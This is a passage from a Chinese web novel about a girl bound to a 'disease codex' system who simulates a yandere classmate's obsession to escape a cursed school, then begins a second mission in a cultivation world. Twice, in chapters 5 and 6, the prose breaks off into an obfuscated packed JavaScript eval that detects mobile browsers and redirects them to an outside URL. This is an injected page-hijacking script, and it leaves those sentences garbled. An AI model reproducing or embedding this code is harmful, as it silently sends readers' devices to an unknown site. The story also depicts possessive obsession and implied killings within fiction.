江澈完全依靠在赫希身上,语气带着祈求与无辜,弱弱道:“好不好?像苏瑶一样,像林晓一样,永远留在我身边。我会对你很好,给你最好的礼服,最好的薄荷糖,只要你,别离开我,不要离开我的身边,好不好?。” 赫希能感觉到他的身体在发抖,像是一个害怕被抛弃的孩子。他的怀抱很紧,勒得她几乎喘不过气,手臂上的肌肉紧绷着,像是在害怕她突然消失。她抬手,轻轻拍了拍他的后背,指尖划过他礼服上的樱花刺绣:“我不会离开你。但你要告诉我,后台的那些‘道具’,到底是什么?” 江澈的身体瞬间绷紧,像是被戳中了痛处。他松开赫希,猛地转身,指向后台的角落,那里放着一排人偶,整齐地站在架子上,穿着和赫希一样的深灰色水手服,脸上画着精致的妆容,眼影是淡粉色的,口红是正红色的,和艺术节海报上的女主角妆容一模一样。人偶的眼睛是用黑色的纽扣做的,空洞地看着前方,瞳孔的位置,正好对着镜子里江澈的身影。 “那些是‘不乖的孩子’。”江澈的声音抖然变得冰冷,没有一丝温度,恨恨回答:“她们要么违反了规则,要么眼里有了别人。你知道的,苏瑶翻了妈妈的日记,林晓想逃跑,那个双马尾女生说‘喜欢别人’,还有那个值日生,踩了红色地砖还想撒谎……所以我把她们变成了道具,只有这样,她们才永远不会离开我,所以,你不会和她们一样的,对吧?。” 赫希的目光落在最左边的人偶上——那个人偶的手腕上,贴着一张泛黄的净化贴,和她手腕上的一模一样。人偶的领口处,别着一枚银色的樱花胸针,胸针的边缘有一道细小的划痕,正是昨天她撞翻笔记本时,掉在地上的那枚。 原来,那个双马尾女生,已经变成了人偶。 “我不会像她们一样。”赫希的声音带着刻意的坚定,她走到江澈面前,抬手抓住他的手腕,指尖摩挲着他的手表带,“我的眼里只有你,我会遵守所有规则,每天给你写情书,按时投进东侧信箱,不碰红色地砖,不看灰围巾老师的眼睛……只要你别把我变成道具,我就会永远和你在一起!” 江澈的脸色缓和了一些,他抬手摸了摸她的头发,动作温柔得像是在抚摸一件珍宝:“乖,我知道你不会的。你和她们不一样,你懂我,你知道我害怕什么。不要忘了,明天就是艺术节了,压轴戏的女主角是你,林晓已经帮你准备好了礼服。” “我?”赫希故作惊讶,眼神里带着一丝“受宠若惊”,“可是我不会演戏……” “没关系,我教你。”江澈笑着说,他拉着赫希走到衣架前,上面挂着一件红色的礼服,裙摆上绣着白色的樱花,樱花的中心,是一个小小的“澈”字。礼服的领口处,别着一枚银色的胸针,和江澈领口的那枚一模一样,“这件礼服,是我特意让林晓做的,只有你配得上它。” 当天晚上,赫希按照江澈的要求,留在后台排练。江澈教她念台词,每个字的语气、语速,甚至 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凌晨的校园里很安静,只有晚风声卷着落叶,在走廊里打着旋。而西侧的樱花树就静静地站在图书馆门口,枝桠扭曲,末端的树枝们像一个个伸向天空的爪子,欲抓取头顶的月光得以脱离现世的地狱。 然,他们或者说它们,无法真正自由,终得于炼狱苦苦渴望着,无法得到回应的希望着,狠狠盼望着。 但此刻,树枝上却开满了白色的樱花,花瓣层层叠叠,在月光下泛着惨白的光。花瓣上的暗红痕迹格外明显,顺着枝干往下流,在地面上汇成一小滩,像是树在“流血”,像哭泣的‘母亲’。 此刻的树下站着一个人,是林晓。她沐着月光,手里拿着一个黑色的相机,机身已经有些磨损,镜头上沾着一丝暗红的痕迹,像是樱花树的“血”。 “你来了。”林晓看到赫希,立刻迎了上来,声音带着急促的颤抖,“这是苏瑶的相机,我想你可能需要它,我就带过来了,当时她就是在这里拍了照片,然后就变成人偶了。而且我听江澈说过,‘永远留在花里’,就是让樱花树把人变成养分,这样樱花就会永远开下去,‘猎物’也永远不会离开。” 赫希不语,一接过相机便按下电源键。很快屏幕亮了起来,上面只显示着最后一张照片,照片里的樱花树开满了白色的花,苏瑶穿着红色的礼服,站在树下,背对着镜头,手里拿着一朵樱花。而照片的角落,江澈正站在回廊的阴影里,嘴角带着诡异的笑,手里拿着一个黑色的发箍,正是现在戴在江澈头上的那一个。 照片的拍摄时间,是去年的10月17日,艺术节的最后一天,也是苏晚老师离开江澈的纪念日。 一切都已明晓,只待好戏开演! 5. 病娇图鉴5 距离任务结束还有24小时,恭喜宿主,模拟度达60%……还未等赫希从想法中脱离,兀统的声音又出现在耳边。 赫希靠在话剧社后台的道具架上,指尖无意识地摩挲着皮质戏服的纽扣——这是她进入雾隐中学的第三天,也是“病症图鉴系统”绑定她的第三天。 视网膜上的半透明界面始终悬浮着,【当前模拟病症:病娇(偏执型人格障碍),匹配进度60%,已关联虚拟角色特质库:《病娇模拟器》《未来日记》《寒蝉鸣泣之时》】的提示闪烁着冷冽的红光,而不远处,江澈正站在聚光灯下,白色爱丽丝礼服的裙摆扫过地面,手腕上的银色手表内侧,正与系统界面的“偏执核心”符号产生微弱的共鸣。 后台的空气里混杂着发胶、颜料和淡淡的樱花香,那香味不像自然绽放的清甜,反而带着一丝腐朽的冷意——赫希知道,这是樱花树吸收学生意识后散发出的气息,也是系统标注的“危险信号源”。她深吸一口气,强迫自己把注意力重新放回江澈身上:这个被全校称为“校草”的少年,表面上是话剧社的导演,实则是雾隐中学校规的“执行者”,而他的偏执,全因十年前母亲苏晚的离开。 “你在发什么呆?”江澈的声音突然在身后响起,带着不容置疑的强势。赫希还没来得及转身,手腕就被他死死攥住,力道大得让她指骨发响,指尖的血液几乎要凝固。她本能地想躲,系统却在这时触发“特质映射”功能——视野瞬间切换成半数据化模式,江澈的身体周围浮现出淡蓝色的特质标签:【控制欲(A级)、创伤执念(S级)、无额外窃取特质】,而他反复摩挲手表表链的动作,正与《未来日记》中我妻由乃“强迫性执念”的行为特征完全吻合,连指尖按压的力度、重复的频率都分毫不差。 “台词再念一遍。”江澈把皱巴巴的剧本塞进她手里,指腹划过剧本上“爱丽丝”的台词,语气带着病态的期待,“‘我愿意永远留在仙境里,永远陪着你’——念得虔诚点,像抓着最后一根救命稻草,像……像我妈妈当年看着我那样。” 赫希低头看着剧本上被圈住的句子,油墨字迹边缘被指甲划得发白,显然江澈已经对着这句台词练习了无数次。系统界面突然弹出新的提示:【检测到目标强烈偏执行为,可通过“行为模拟+情绪共情”提升匹配度,当前可解锁虚拟角色特质:1. 《未来日记》我妻由乃;2. 《病娇模拟器》爱诗绫乃】 她深吸一口气,刻意放缓呼吸节奏,让声音带上类似我妻由乃的、带着颤抖的偏执感。念出台词时,她故意加重“永远”两个字,甚至抬手抓住江澈的衣袖,指尖微微发颤,指甲几乎要嵌进他的布料里,像带着濒临破碎的病态依赖:“只要能留在你身边,不管是什么地方,我都愿意——哪怕是囚笼,哪怕是永远看不到太阳的仙境,只要有你在,就是我该待的地方。” 话音落下的瞬间,系统界面的进度条猛地跳动:【模拟度提升至70%,成功匹配《未来日记》我妻由乃- 战斗能力:擅长使用各种武器,如菜刀、斧头、日本刀、手枪等,任何坚硬物品都可作为她的武器。具备职业军人级别的战场行动能力与快速应变能力,运动神经发达,体能与敏捷性远超常人】 赫希的视野里果然浮现出金色词条,哇塞,金色传说!(男声版) 江澈的眼神果然软了,他抬手摸了摸赫希的头发,指尖的温度带着病态的灼热,甚至有些烫人:“你比苏瑶懂事多了。”他的声音低沉下来,带着一丝不易察觉的委屈,“苏瑶总想着逃跑,还偷偷拍樱花树的照片,她甚至敢质疑我定的规则——那些规则明明是为了让大家留在我身边。” “逃跑的人都该被惩罚,对不对?”赫希顺着他的话头,故意露出一丝狠戾——这是从《病娇模拟器》爱诗绫乃处映射的“情绪诱导”特质在生效,她的语气里添了几分不容置疑的笃定,“就像不遵守校规的值日生会被樱花树‘带走’,像偷偷议论你的学生再也不会出现在教室,只有听话的人,只有愿意永远留在你身边的人,才配留在雾隐中学。” 这句话精准戳中江澈的软肋。他的呼吸骤然急促,胸口剧烈起伏,手腕上的手表带被攥得裂开一道细缝,露出里面嵌着的、泛黄的照片——照片上是个穿着教师制服的女人,眉眼和江澈有七分相似,怀里抱着一个十岁左右的小男孩,背景正是雾隐中学的樱花树。 “你怎么知道……我妈妈当年就是这样‘离开’的。”江澈的声音带着颤抖,指尖死死抠着手表带的裂缝,“他们都说我妈妈是辞职走了,可我知道,她是被樱花树‘带走’的,就像那些不听话的学生一样——所以我才定了那么多规则,我只是想让大家都留下,不想再有人像妈妈一样离开我。” “我能感觉到,“我能‘看见’你在意的东西,能懂你害怕被抛弃的滋味——那种看着最亲近的人消失,却连抓住她的衣角都做不到的感觉,我比谁都清楚。”她刻意放缓语速,让每一个字都像带着共鸣的锤子,敲在江澈的心上,“所以我不会离开你,永远不会,不管是规则还是樱花树,都别想把我从你身边带走。” 【模拟度飙升至85%!解锁双重特质:1. 《病娇模拟器》爱诗绫乃语言能力:可以通过学习语言了解人与人之间的差异,能够模仿某个同学的语气和笔迹,甚至可以伪造信息,比如伪造遗书。;2. 《寒蝉鸣泣之时》“物理禁锢”基础形态(效果:可利用环境物品构建临时禁锢,限制目标行动,禁锢强度与执念链接强度正相关)。】 系统提示音在脑海中响起时,赫希能清晰感觉到身体的变化:原本有些僵硬的关节变得灵活,听觉和视觉也敏锐了许多,甚至能听到道具架后林晓紧张的呼吸声。她不动声色地瞥了一眼后台的角落,林晓正躲在一堆戏服后面,手里攥着一本泛黄的教案,正是苏晚当年留下的那本——这是他们早就约定好的信号,只要赫希一发出信号,林晓就会带着证据出来。 江澈彻底放下了警惕,他拉着赫希的手腕走向后台的窗户,指尖的力道明显轻柔了许多,甚至带着一丝依赖。窗外的樱花树在暮色中泛着惨白的光,树枝上缠绕着无数透明的、类似人影的轮廓,那些都是被樱花树吸收意识的学生。 “今晚的压轴戏,我会把你变成最完美的‘爱丽丝’。”江澈指着樱花树,语气里满是期待,“那个戴灰围巾的老师会帮我,他说只要用樱花树的‘规则’,把你的意识和我绑定在一起,你就能永远留在我身边——再也不会离开。” 赫希顺着他的视线看去,灰围巾老师正站在樱花树下,手里举着一枚红色的印章,正对着树干上的刻痕轻轻盖章。每盖一次,樱花树就会颤抖一下,树枝上的人影轮廓就会清晰一分,而灰围巾老师的脸色就会红润一分——兀统界面突然弹出警告:【检测到第三方恶意干预!目标:灰围巾老师(身份:雾隐中学教师,真实目的:利用江澈的偏执,以樱花树为媒介吸收学生意识,实现意识永生)。其行为已触发“规则反噬”条件,可通过破除红印章的能量操控,激活樱花树的反噬机制。】 “就是现在。”赫希在心里对自己说,身体已经先一步行动。她突然后退,脚底在地板上借着力道滑出半米——身体强化的效果瞬间拉满,她的反应速度比平时快了三倍,轻松避开江澈抓来的手。江澈的指尖擦着她的衣角划过,指甲几乎要嵌进木质道具架,木屑簌簌往下掉,在地板上积成一小堆。 赫希反手抓起旁边的道具绳——那是话剧《爱丽丝梦游仙境》里用来绑“疯帽子”的麻绳,粗得能承受成年人的重量。她指尖捏住绳头快速打结,打了一个话剧社老师教过的“死结活扣”,借着转身的惯性,将绳圈套向江澈的手腕。 江澈察觉不对时已经晚了。绳子瞬间收紧,将他的双手反绑在身后,赫希还特意扯下道具架上固定剧本的铁丝,缠在绳结处,牢牢卡在他的手表链缝隙里——这样一来,只要江澈挣扎,手表链就会勒紧他的手腕,疼痛感会让他暂时无法全力反抗。 “你敢骗我?”江澈的情绪彻底失控,眼睛瞬间红了,像被激怒的困兽。他猛地撞向赫希,力道大得能撞碎木质道具架,整个后台的道具都跟着摇晃起来,挂在墙上的戏服纷纷滑落,盖在两人身上。赫希却借着身体的敏捷,侧身躲到道具架后,书架上的剧本、颜料盘、假花哗啦啦砸下来,正好挡住江澈的视线,也为林晓争取了时间。 “我不是骗你,是让你看清真相。”赫希的声音从道具堆后传来,带着冷静的笃定,“那个灰围巾老师根本不是帮你,他是在利用你。” “你胡说!”江澈的声音里带着哭腔,他用力挣扎着,手腕被铁丝勒出红痕,“他说会帮我把妈妈的意识从樱花树里带回来,他说只要我听话,就能永远和妈妈在一起!” “他在骗你!”林晓突然从道具堆后冲出来,手里举着苏瑶的相机和一张泛黄的教案纸,纸页边缘还沾着樱花碎屑,“赫希,快!这是苏晚老师的教案,最后一页写着灰围巾的阴谋——他的红印章里掺了‘意识粘合剂’,每盖一次章,就有一个学生的意识被樱花树绑定,而他就能吸收那些意识的碎片,让自己活下去!苏瑶就是发现了这个秘密,才被他用校规‘处理’了!” 江澈的动作猛地一顿,绑在身后的手停止了挣扎,只有肩膀还在剧烈颤抖。他抬头看向窗外,灰围巾老师还在对着樱花树盖章,红印章落在树干上时,会发出“滋啦”的轻响,像烤肉的声音。 赫希趁机接过相机,指尖在掌心快速划过——系统界面弹出提示:【是否激活《病娇模拟器》Muja“药剂操控”特质?效果:可生成非致命性特殊药剂(当前可生成:能量干扰剂),专门破除能量类操控/伪装,持续时间5分钟。】 “激活。”赫希在心里默念。指尖瞬间浮现出淡紫色的微光,微光凝结成半滴粘稠的药剂,像融化的紫水晶,带着淡淡的薄荷味——这是系统根据《病娇模拟器》中Muja的“医疗干扰剂”映射而来的能力,虽然没有攻击性,却能精准瓦解灰围巾用来操控樱花树的能量。她将药剂轻轻点在相机镜头上,药剂瞬间融入玻璃,在镜头内侧形成一层淡紫色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赫希借着我妻由乃的战斗能力,从窗台跳回后台,正好落在江澈面前。她稳稳地站在散落的道具中间,掌心还残留着【药剂操控】的淡紫色微光,视网膜上的系统界面疯狂跳动:【检测到第三方恶意干预解除,目标江澈偏执情绪波动剧烈,符合“执念瓦解”条件……模拟度提升至90%……95%……100%!】 【任务完成!目标偏执瓦解,成功固化所有匹配特质:1. 《未来日记》我妻由乃的战斗能力;2. 《病娇模拟器》爱诗绫乃的语言能力;3. 《病娇鸣泣之时》(可利用环境物品构建禁锢,每日限用3次);4. 《病娇模拟器》Muja“药剂操控”(可生成3种非致命药剂,每日限用2次)。】 【解锁终极能力——【病娇领域】(限制形态):可在半径10米内感知所有偏执情绪波动,自动标记情绪来源,现实世界被动生效。】 系统提示音落下时,江澈突然瘫坐在地上,绑在身后的手彻底失去力气。他低头看着自己流血的手腕,手表链在挣扎中崩断,里面嵌着的苏晚照片飘落在地,照片的边角被血染红。他的肩膀剧烈颤抖,眼泪砸在地板上,混着木屑和颜料,晕开一小片深色的痕迹:“我以为……他是帮我留着妈妈的……” 赫希弯腰解开江澈手腕上的绳子,动作很轻,避免碰到他的伤口。她捡起地上的照片,用袖口擦去上面的血渍,轻轻放在江澈手里:“你妈妈的离开不是抛弃。”她的声音放得很柔,带着【情绪诱导】的反向效果——这次不是放大偏执,而是安抚,“苏晚老师的教案里写着,‘真正的爱不是用规则锁住对方,是让对方拥有选择的自由’。她当年离开,是因为发现了灰围巾的阴谋,她怕自己的意识被吸收后会伤害你,所以才故意用‘抛弃’的方式让你远离危险。” 江澈抬起头,眼睛通红,脸上还挂着眼泪:“真的吗?”他的声音带着不确定,像迷路的孩子在寻找答案,“她不是因为我是累赘,才离开我的?” “不是。”赫希摇头,指了指窗外的樱花树——此刻,樱花树的枝条已经不再带着倒刺,惨白的花瓣渐渐染上柔和的粉色,那些缠绕在树枝上的人影轮廓,正慢慢变得清晰,最后化作一个个穿着校服的学生,茫然地站在樱花树下,“你看,她一直在用自己的方式保护你。灰围巾被反噬后,被吸收的意识都回来了,包括……你妈妈的。” 江澈顺着她的手指看去,樱花树下果然站着一个穿着教师制服的女人,正是照片上的苏晚。她对着江澈温柔地笑,像十年前那样,张开了双臂。 江澈的身体慢慢变得透明,像被风吹散的樱花花瓣。他朝着苏晚的方向伸出手,嘴角露出一丝释然的微笑,最后只留下一句轻得像叹息的“对不起”,彻底消失在后台的聚光灯下。 赫希抬头看向天空中浮现的传送门,那扇门泛着柔和的白光,像通往现实世界的出口。她深吸一口气,掌心的特质能量渐渐收敛,视网膜上的系统界面自动切换成休眠模式,只留下一行淡淡的提示:【任务世界“雾隐中学”已完成,返回现实世界后,所有特质将开启使用限制,避免干扰现实规则。】 窗外的樱花树彻底恢复了正常,粉色的花瓣随风飘落,落在后台的地板上,像一层柔软的地毯。林晓走到她身边,手里还攥着苏晚的教案:“我们……成功了?” “嗯。” 6. 病娇图鉴6(结束) 眩晕感褪去时,赫希发现她正趴在高三教室的课桌上,脸颊贴着微凉的课本,嘴角还沾着未干的口水——课本上的数学公式被洇得模糊,旁边邻桌男生画的酷炸天的赛亚人版的火柴人涂鸦倒是清晰得很。她猛地抬头,瞳孔里还残留着任务世界的樱花残影,视网膜上的“病症图鉴系统”却已自动切换成休眠模式,只留下一行淡蓝色的提示:【现实世界特质限制生效:1. 战斗能力(永久保留无使用次数限制);2. 语言能力/物理禁锢/药剂操控(每日各限用1次,且无法对普通人类主动触发);3. 病娇领域(仅被动生效,感知对方情绪,偏执情绪时视野边缘会浮现淡红色微光)。】 “睡得够沉啊,下课铃响了三遍都没醒。”邻桌的男生笑着递过一张纸巾,手里还攥着半块没吃完的肉松面包,包装袋上的油印蹭到了指尖,“放学去吃新开的那家烤串摊不?听说老板的秘制辣酱能辣到飙泪,我赌你吃三口就投降。” 赫希接过纸巾,胡乱擦了擦嘴角的口水,系统突然弹出轻提示:【检测到普通人类情绪“友善(90%)+ 调侃(10%)”,无偏执/恶意特质,所有主动特质自动休眠。】她看着面前这个男生眼底的真切笑意,突然觉得有些许恍惚——在雾隐中学里,所有的“亲近”都带着偏执的钩子,所有的“对话”都藏着试探的刀刃,而此刻递过来的纸巾、带着油印的面包,却干净得没有任何杂质。 “谁怕谁?”赫希挑眉,好似不在意地把课本塞进抽屉,“不过你请客,输的人买单。” “行啊,反正我妈给的零花钱够造了。”男生爽快地答应,转身去收拾书包,背影像所有普通的高三学生一样,带着对放学的期待,没有任何被规则捆绑的沉重。 赫希看着他的背影,悄悄抬手摸了摸掌心——那里没有【药剂操控】的淡紫色微光,也没有【物理禁锢】的绳结触感,只有课本纸张留下的粗糙纹路。 她忽然想起在雾隐中学的最后一刻,江澈消失时释然的微笑,想起苏晚站在樱花树下的温柔眼神——那些被偏执困住的人,最终都找到了自己的出口,而她从虚拟角色处“借”来的特质,从来不是让她变成怪物的工具,而是帮别人劈开囚笼的钥匙。 放学后,校门口的梧桐树下挤满了学生,自行车铃声、说笑声混在一起,带着夏末的喧嚣。赫希背着书包走在人群里,系统的“病娇领域”偶尔会被动触发——视野边缘闪过几次淡红色的微光,但很快就消失了,那是路人短暂的烦躁或焦虑,并非真正的偏执。 “同学,不好意思打扰一下。”一个温和的声音在身后响起。赫希回头,看见一个穿着干净白衬衫的男生,背着黑色的双肩包,手腕上戴着一块银色的手表,脸上带着刚转学来的局促,“请问图书馆怎么走?我想借一本《城南旧事》,听学长说学校图书馆有珍藏版的,封面上有樱花的烫金图案。” 赫希的瞳孔微微一缩——“樱花”两个字让她下意识激活了情绪感知的被动感知,但视野里没有任何红色偏执,只有男生眼底纯粹的期待。她松了口气,笑着指了指东侧的方向:“从这边走,绕过实验楼就是。不过闭馆前只剩半小时了,得快点。” “谢谢!”男生连忙道谢,快步跟上她的脚步,“我叫林屿,今天刚转来高三(2)班,以后可能还要麻烦你指路。” “赫希,高三(1)班。”她简单报上名字,没有多说什么——在任务世界里习惯了试探人心,此刻面对纯粹的善意,反而有些无所适从。 两人并肩走在梧桐树下,阳光透过树叶的缝隙洒下来,在地面上投下斑驳的光影。林屿聊起他最近看的令人吐槽欲满满的小说内容;聊起班级某某和谁有爱情的火花,最后补上一句估计在一起了,还举出一系列“证据”生怕赫希不信;聊起对新班级的担心,怕自己的数学成绩跟不上进度。 赫希安静地听着,偶尔点头回应,没有启动任何特质——她也不需要用解锁了病娇图鉴后获得的增益“执念锚定”去窥探林屿在意的东西,也不需要用“战斗强化”去防备什么,更不需要用去讨好或试探。即使没有这些能力,她也知道林屿的语气里没有控制欲,没有偏执的阴影,只有少年人特有的坦诚和腼腆,这种纯粹,像夏日里的凉风,让她想起任务世界之外的、真正的生活。 图书馆门口,管理员正在收拾闭馆的牌子。林屿快步跑过去,小声跟管理员说了几句,对方笑着点了点头,从书架深处取出一本深蓝色封面的书——正是他要找的《城南旧事》,封面上的樱花烫金图案在夕阳下泛着柔和的光。 “太好了!”林屿捧着书,脸上露出惊喜的笑容,转身对赫希道谢,“今天真的谢谢你,要是没有你,我肯定找不到这里。对了,明天可以一起上学吗?我怕找不到教学楼,听说高三的教室在顶楼,还绕得很。” “好啊。”赫希笑着答应,看着林屿小心翼翼地把书放进书包,拉链拉到一半又停下来,对着封面的樱花图案看了一会儿,才慢慢拉上——那眼神里的珍惜,没有任何偏执的占有,只有单纯的喜欢。 林屿离开后,赫希站在图书馆门口,调出了系统界面。再次仔细看完自己的能力介绍后目光开始聚焦到另一边新的任务中【下一个任务世界“无人生还孤岛”已解锁,可匹配病症:妄想症(偏执型精神障碍),对应虚拟角色特质库:《Another》中见崎鸣的“人偶之眼”,效果:“异常感知”特质,可识别非人类伪装,在危险情况时可触发镇定效果、《约会大作战》中镜野七罪的伪装能力,效果:拥有天使“赝造魔女”,其能力包括改变自己或他人的容貌、年龄、服装等,也可使物体变形。当前准备度0%,其他角色的能力未解锁,待宿主第二个世界的模拟度达标时便可开启,请宿主继续通过“行为模拟+环境适应”提升其匹配进度。】 赫希抬手摸了摸眉心,那里还残留着模拟病娇特质时的灼热感,但此刻已经变得温和,像被阳光晒暖的石头。那些从虚拟角色处“借”来的能力——我妻由乃的战斗能力、爱诗绫乃的语言能力、Muja的药剂操控……此刻都安静地蛰伏在她的身体里,不再是暴虐的武器,而是等待被正确使用的工具。 晚风拂过梧桐叶,发出沙沙的声响。赫希转身走向回家的路,夕阳把她的影子拉得很长,书包上的挂件随着脚步轻轻摇晃。 视网膜上的系统界面渐渐消失,下一个任务的挑战还在等着她,但此刻,她只想好好感受脚下真实的地面,闻着空气中淡淡的梧桐叶香味,听着远处传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502567|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自行车铃声——这些平凡的、带着温度的细节,每一刻都令她怀念,她不清楚下一个世界会待多久,但她知道的是第一个世界只是开胃菜,是兀统给她的属于新人的新手世界的难度,从好几出地方都给了提示可以看出来,那第二个世界呢? 赫希不想聚焦未来的不确定,只想享受当下的无虑,忧就让未来的她去忧吧,我也相信她,也只能相信。 走到小区门口时,赫希想起邻桌男生的赌约,转身走向街角的烤串摊。老板笑着问她要几串,她指着菜单上最辣的那款:“来五串,多放辣酱。” 等待烤串的间隙,她看着摊位前打闹的小孩、笑着聊天的情侣,突然明白“病症图鉴系统”的真正意义——它不是让她沉溺于虚拟角色的偏执,而是让她在见过最扭曲的执念后,更懂得珍惜眼前的平凡与温柔。那些从虚拟世界“借”来的特质,最终都是为了守护现实里的、这些不需要任何“模拟”的真诚与美好。 烤串上桌时,辣酱的香味扑面而来。赫希咬了一口,辣意瞬间窜上喉咙,眼泪差点掉下来——但嘴角却忍不住上扬,这是任务世界里从未有过的、真实的味道。她掏出手机,给邻桌男生发了条消息:“烤串我吃了,辣是真辣,但我没投降。明天放学,记得兑现你的赌注。” 手机屏幕亮起时,远处的天空渐渐暗了下来,星星开始一颗一颗地浮现。赫希看着手里的烤串,又看了看天边的星星,突然觉得,不管下一个任务世界有多么危险,不管要模拟多么扭曲的病症,只要能回到这样的现实里,就值得。 因为真正的强大,从来不是变成最偏执的怪物,而是在见过怪物之后,依然能守住自己的温柔,依然能珍惜那些平凡的、带着温度的瞬间。 她需要为接下来的第二个世界做准备,了解病症应对的法子和措施,直到看到学术解释她才明白她还是思想准备工作做少了…… 简单来说: - 偏执型精神障碍(Paranoid Disorder)是目前国际通用的、更规范的医学诊断名称(如在《精神疾病诊断与统计手册》DSM-5中),它直接点出了疾病的核心——以“偏执”(即妄想,尤其是被害、关系等类型的妄想)为唯一或主要症状,且患者的思维、情感在非妄想领域基本正常。 - 妄想症(Delusional Disorder)则是一种更通俗、更侧重症状表现的称呼,因为疾病的核心特征就是“妄想”,用症状直接命名,更容易被大众理解。 两者的关系可以类比为“西红柿”和“番茄”——名称不同,但指向的是同一种事物。在专业医学语境中,“偏执型精神障碍”的使用更普遍,而“妄想症”则是其在日常交流或非严格学术场景下的常见替代说法。 好,又是偏执型,又得“哄”着,谁能偏执过任务目标啊?赫希仿佛可以瞧见目标一脸妄想自己是要害他/她的偏执模样…… 兀统:没事哒没事哒宿主,你可以把他们当做你的病人,你就是他们的院长,这样想会不会好点? 赫希:……我又不斩神,你少看小说…… 兀统:少管我,宿主第二世界开启时间将在三天,请宿主做好准备…… 赫希:…… 7. 妄想症图鉴1 赫希落地时,玄渊界的风裹着剑锋破空的锐响砸在脸上。脚下青石板还残留着晨露,远处丹房的方向飘来浓郁的药香,混着一丝若有若无的剑气——不远处,穿月白内门服的少年正以剑为尺,精准挑飞丹炉旁飘起的三枚药屑。他手腕微转,“擎苍”剑穗轻颤,每一枚药屑落地的位置,都与他脚边石板上的浅痕严丝合缝,连药屑滚动的弧度都像是被提前计算好一般。 这就是沈清。清玄宗内门最年轻的丹术天才,也是整个宗门都暗地里称奇的“偏执怪人”——他的丹房三步一禁制,五步一标记,连药材摆放的朝向都要与日升月落的轨迹对应;更别提练剑时的规矩,据说曾有内门弟子误碰他的剑架,只因剑鞘偏移了些许,就被他罚着按原位置摆了整整三个时辰。 “外门弟子,擅闯内门结界,按云开宗宗规,废去灵力,逐出山门。”少年的声音冷得像淬了冰,手中“擎苍”剑斜指地面,剑尖凝出的灵力丝在石板上划出细痕,恰好与药屑落地的刻痕连成一个规整的正三角形。他抬眼看向赫希,眼神里没有半分温度,仿佛在看一件闯入自己“规则领地”的杂物。 赫希早有准备,反手抽出背后的木剑——那是外门弟子的制式兵器,木质剑身还带着未打磨光滑的毛刺。她深吸一口气,根据残留的不完整记忆耍出一套不算熟练的“流云剑法”,剑尖颤巍巍地落在沈清划出的第一道刻痕上,虽有些不稳,却精准点中了该痕迹的中心:“沈师兄,我是外门弟子赫希,并非有意擅闯。方才在后山练剑,撞见个穿黑衣的人在布迷阵,他见我发现,转身就逃,怀里掉出了这个。” 一张泛黄的桑皮纸从她袖中飘出,落在两人之间。纸上画着潦草的丹房布局图,“清心丹”的药材配比旁,还歪歪扭扭画着几道剑痕——那是赫希特意模仿心魔教标记添上去的,她记得系统说过,沈清最在意的就是师父留下的清心丹,而心魔教,正是当年害死他师父的元凶。 沈清的剑顿了顿,却没收回。他俯身,用剑鞘挑起桑皮纸,指尖灵力扫过纸面,目光落在那些歪扭的剑痕上,眉头微蹙:“流云剑法第三式‘拂云’,你剑招偏了半分,腕力虚浮,显然只练了十日不到。”他抬眼,眼神里的警惕更甚,“心魔教的迷阵至少需筑基期修为才能勉强破开,凭你这点本事,怎么可能从阵里逃出来?” “我没完全破开!”赫希立刻接话,故意露出手腕上的擦伤——那是她今早特意用剑鞘边缘划的,浅而逼真,“迷阵刚触发,我就被里面的剑气扫中了手腕,只能抱着剑滚出阵外。我知道师兄的丹房布了重重禁制,可那人画的是您的丹房布局,万一他们用剑破阵……”她话锋一转,眼神里带着恰到好处的恳切,“我想跟着师兄学剑。既能练出本事防身,也能帮您盯着结界外的异动,总不能每次都等危险到了眼前才察觉。” 她刻意把“用剑破阵”和“学剑”绑在一起——沈清辞最在意的就是丹房的掌控权,而“剑”,正是守护这份掌控权的工具。这个提议,就像是在告诉他:我学剑不是为了自己,是为了帮你守住你最在意的东西。 果然,沈清的眼神缓和了些。他收回“擎苍剑,却没立刻答应,反而用剑鞘将桑皮纸挑到自己脚边,语气依旧冰冷,却多了几分“规则允许范围内”的松动:“学剑可以,但要守我的规矩。” 他伸出一根手指,逐条说道:“第一,每日辰时准时到丹房练剑,迟到一炷香,当日不准碰剑;剑招必须按我教的来,哪怕偏了一丝,也要重新练,直到完全吻合。第二,练剑时的呼吸要跟着丹炉火焰的节奏来,火焰明一次,你吸一口气,火焰暗一次,你呼一口气,不准乱了节奏。第三,你用的这柄木剑,每天练完后必须按‘剑脊朝东,剑穗向西’的方向放在剑架最下层,若是放错了方向,或者碰倒了旁边的剑,罚你抄《清玄宗剑规》十遍。” 三条规矩说完,他又补充了一句,像是想起了什么遗漏的细节:“对了,练剑时不准咳嗽,不准打喷嚏,若是忍不住,必须走出丹房十米外,等气息稳了再回来——剑招最忌中断,一丝分神都可能导致后续所有动作走样。” 【兀统:3.1415926535提示!目标沈清辞掌控欲阈值95%,因“剑”与“守护丹房”绑定,对宿主学剑的规则容忍度提升5%!当前模拟度5%,解锁“剑规共情”技能:可感知目标制定规则的底层逻辑——比如呼吸对应火焰,是因为他认为“剑与丹同源,皆需掌控节奏,节奏乱则事败”。】 赫希连忙点头应下,心里却忍不住吐槽:这哪是学剑,简直是进了“规则牢笼”。可她也清楚,这是接近沈清的唯一办法,要复刻他的偏执,就得先走进他用规则搭建的世界。 